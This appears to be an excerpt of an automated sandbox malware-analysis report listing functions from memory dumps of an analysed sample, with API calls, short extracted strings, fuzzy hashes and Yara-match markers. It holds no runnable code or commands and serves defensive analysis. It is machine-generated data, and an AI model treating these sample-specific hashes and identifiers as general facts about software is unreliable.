Instruction ID: 6a74517b29ae47185d2eca4c2dff8f738dcdf65939a10d7df17f483f2a1baf51
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 1B418F34A04208ABDF10DF68C884B9EFBB5EF44318F148095EC15AB361DB75BA16CB91

Function 0040C060 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0040C085

Strings

RCC, xrefs: 0040C09F
MOC, xrefs: 0040C097

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction ID: fbbd96fe11317218043276dd35bf9a0f08be73a273ccdb2477d392fe495d2932
Opcode Fuzzy Hash: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction Fuzzy Hash: EC414972900209EFCF15DF94CD81AAEBBB5BF48304F14826AF9057B2A2D3399951DF58

Function 100044D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 100044FB

Strings

MOC, xrefs: 1000450D
RCC, xrefs: 10004515

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction ID: 0fa13f4c886c2deeb8e1184eea68dc96f9460117e0f406c7378fe553058e7938
Opcode Fuzzy Hash: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction Fuzzy Hash: 7B419DB5900109AFEF06CF94CC81AEE7BB5FF48384F168059F9046B25AD736EA50CB55

Function 04B5C2C7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 04B5C2EC

Strings

RCC, xrefs: 04B5C306
MOC, xrefs: 04B5C2FE

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction ID: 35294f6277549a3e14c31040a3c7fa59444a359fd4f07a065d1c018ac29356a3
Opcode Fuzzy Hash: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction Fuzzy Hash: C341377190020DEFDF25CF98CD80BEEBBB6FF48304F148099E904A7220D239A950DB50

Function 00401300 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 0040138C

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

]DFE, xrefs: 00401320
KN, xrefs: 0040132E

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: KN$]DFE
API String ID: 2296764815-873640922
Opcode ID: d6f8056c27549fa5a6288615fe1556662b6743ffa200569e1178aac9022ea53a
Instruction ID: c7a597aca517c447b6d362385d7579deaaf1cbe7f5b4030a5a3b5ced69f100f5
Opcode Fuzzy Hash: d6f8056c27549fa5a6288615fe1556662b6743ffa200569e1178aac9022ea53a
Instruction Fuzzy Hash: 57210CB0F00384CAE724DF64E8467B9B760AF19308F44827AF8546B2B2D77855C2CB5D

Function 04B51567 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B515F3

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Strings

KN, xrefs: 04B51595
]DFE, xrefs: 04B51587

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: KN$]DFE
API String ID: 4132704954-873640922
Opcode ID: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction ID: bbd05d9e6ce5e25e0b0a74694e4a1bd367812ab245d452f90528bb1357b2aabd
Opcode Fuzzy Hash: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction Fuzzy Hash: 952106E0F00284CAE724AF68E8457A8F770AF1A308F8492A5E8541B271DB7465C6CB5D

Function 04D10700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D1078C

Strings

KN, xrefs: 04D1072E
]DFE, xrefs: 04D10720

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: KN$]DFE
API String ID: 1385522511-873640922
Opcode ID: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction ID: 37ec326df0576036f58e5ab2b3b8ee82f5a79f543965f89300d315cb6203cfa1
Opcode Fuzzy Hash: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction Fuzzy Hash: 6A2128B0F00284EAE721EF64F8557A8B760EF19308F448265E8541B271EB7461C2CF5D

Function 00408410 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 0040847E

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

CD^O, xrefs: 00408430
_DC[, xrefs: 00408427

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 399a8b999e5772a2d09049cbf9d260b7606379017b1484e9f9d8dab40e033c4e
Instruction ID: e43b8a85f3d3021ebc641e50c070c1ece00a7f90a8480fa311e7b242f9d929d7
Opcode Fuzzy Hash: 399a8b999e5772a2d09049cbf9d260b7606379017b1484e9f9d8dab40e033c4e
Instruction Fuzzy Hash: A0012B70F04258CBC720EBB9AD41A5D7360A718304F50017ED51467381EB789941878D

Function 00407E50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407EBE

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

CD^O, xrefs: 00407E70
_DC[, xrefs: 00407E67

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 763e4a14a1476fea278d585dab10dabfb5d17371b066c90e302f9cae630bd372
Instruction ID: 75c8c8ce13ad0cb5c53a0921d7a0f1eb8d827427a00a4f276ef8137bbb37e5e9
Opcode Fuzzy Hash: 763e4a14a1476fea278d585dab10dabfb5d17371b066c90e302f9cae630bd372
Instruction Fuzzy Hash: 5601DB71F05248CFC720EBA4ED4196A7760AB15304F90017EE51967391D6785D41874F

Function 04B58677 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B586E5

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Strings

_DC[, xrefs: 04B5868E
CD^O, xrefs: 04B58697

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction ID: 1c8c3e6a02118f5384be3606d62f15b308d0001ae95b0d28370a2e1baab71a2e
Opcode Fuzzy Hash: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction Fuzzy Hash: BF01D670F04258DBD720FF78AD41B69B360EB19210F9006A9D91467360DB74A5858799

Function 04B580B7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B58125

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Strings

CD^O, xrefs: 04B580D7
_DC[, xrefs: 04B580CE

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction ID: 335dfb623243c7f7d0213acb19bc82d99cba1bc209789143a168b28290d2c7b7
Opcode Fuzzy Hash: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction Fuzzy Hash: A00126B1F00248DBC720FF68AC41B69B360EB0A200FA002A9E8195B260D6346595874A

Function 04D17810 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D1787E

Strings

CD^O, xrefs: 04D17830
_DC[, xrefs: 04D17827

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction ID: 3b535f94b09d7cf46c34454d8fe4eb76447d6cf99152d932287b846cad1c18af
Opcode Fuzzy Hash: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction Fuzzy Hash: 8001F970F04354ABC720EFB8BD51AAD7360EB18315F9002B9D915572A0EB74B541CB99

Function 04D17250 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D172BE

Strings

_DC[, xrefs: 04D17267
CD^O, xrefs: 04D17270

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction ID: 0024a0cb7ff1ba13cacb1a350534947a341a4ed6b64985342ab15f70e5d9ca7b
Opcode Fuzzy Hash: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction Fuzzy Hash: 3D01F9B1F00248EFC720EFB8BD51A6D7360EB15304FA002A9ED195B2A0E7347542CB56

Function 00407800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407869

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

DCDO, xrefs: 00407816
EDO*, xrefs: 0040781D

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$EDO*
API String ID: 2296764815-3480089779
Opcode ID: c1255349a2e57ad23b9470b93f2817b8619d13366b065ca6f952b4fb9d144549
Instruction ID: 2c0c492e7e72bdb30d52bd5223af33e2dc0730c32d16496d374a94bf7777f62b
Opcode Fuzzy Hash: c1255349a2e57ad23b9470b93f2817b8619d13366b065ca6f952b4fb9d144549
Instruction Fuzzy Hash: 5B016275F08208DBDB20EFA5D842E5DB7B0AB14708F50417ED916A7791DA38AD02CF4D

Function 00407910 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407979

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

DCDO, xrefs: 00407926
^]E*, xrefs: 0040792D

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$^]E*
API String ID: 2296764815-2708296792
Opcode ID: ffab40d94f7747eb7ab79d41521036dd22da8b0a9ae6696f2e7e2344855eaeaf
Instruction ID: a49365da1333b78fae32507e70f919b170a79118b3a39b38b1efb03faeb462bb
Opcode Fuzzy Hash: ffab40d94f7747eb7ab79d41521036dd22da8b0a9ae6696f2e7e2344855eaeaf
Instruction Fuzzy Hash: 92011DB0F042089BD720EFA9E883A9DB7A0A784704F90417FE919A7391D6396D81CF4D

Function 04B57A67 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B57AD0

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Strings

DCDO, xrefs: 04B57A7D
EDO*, xrefs: 04B57A84

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$EDO*
API String ID: 4132704954-3480089779
Opcode ID: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction ID: 8e38b3d27943b2724423c4628a2d79678f206afc343d06ed536090f27a68e4ab
Opcode Fuzzy Hash: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction Fuzzy Hash: D0016DB4F04208DBEB20DFA4E841F5DB7B0EB18704F9045BADC15A77A0DA35AA468B49

Function 04B57B77 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B57BE0

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Strings

^]E*, xrefs: 04B57B94
DCDO, xrefs: 04B57B8D

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$^]E*
API String ID: 4132704954-2708296792
Opcode ID: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction ID: 46e5da659916b9779801f8e0992f025d606a9116fdc30555016c31a7acf225d9
Opcode Fuzzy Hash: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction Fuzzy Hash: 230136B4F00208DBD720DF99E94275DB7B0D748714F9041BAEC1557360DA357985CF59

Function 04D16C00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D16C69

Strings

DCDO, xrefs: 04D16C16
EDO*, xrefs: 04D16C1D

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$EDO*
API String ID: 1385522511-3480089779
Opcode ID: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction ID: 9fdaf2507d2b56bb0c047e21d2d8923d25a0e77acee2b9cb4130bef5cd928f34
Opcode Fuzzy Hash: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction Fuzzy Hash: DE016D74F04208EBDB20DFA4E851E5DBBB0EB14708F9041BADD15977A0DA35A902CF59

Function 04D16D10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D16D79

Strings

^]E*, xrefs: 04D16D2D
DCDO, xrefs: 04D16D26

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$^]E*
API String ID: 1385522511-2708296792
Opcode ID: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction ID: 12d132fd9caa1c12ed823e0aaf63f1c64f9635d6bf7c66bd1f5017ef46603be9
Opcode Fuzzy Hash: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction Fuzzy Hash: 8E0136B0F00208EFD720EFA8E89269D77B0E744704F9041BAED19573A4D635A985CF59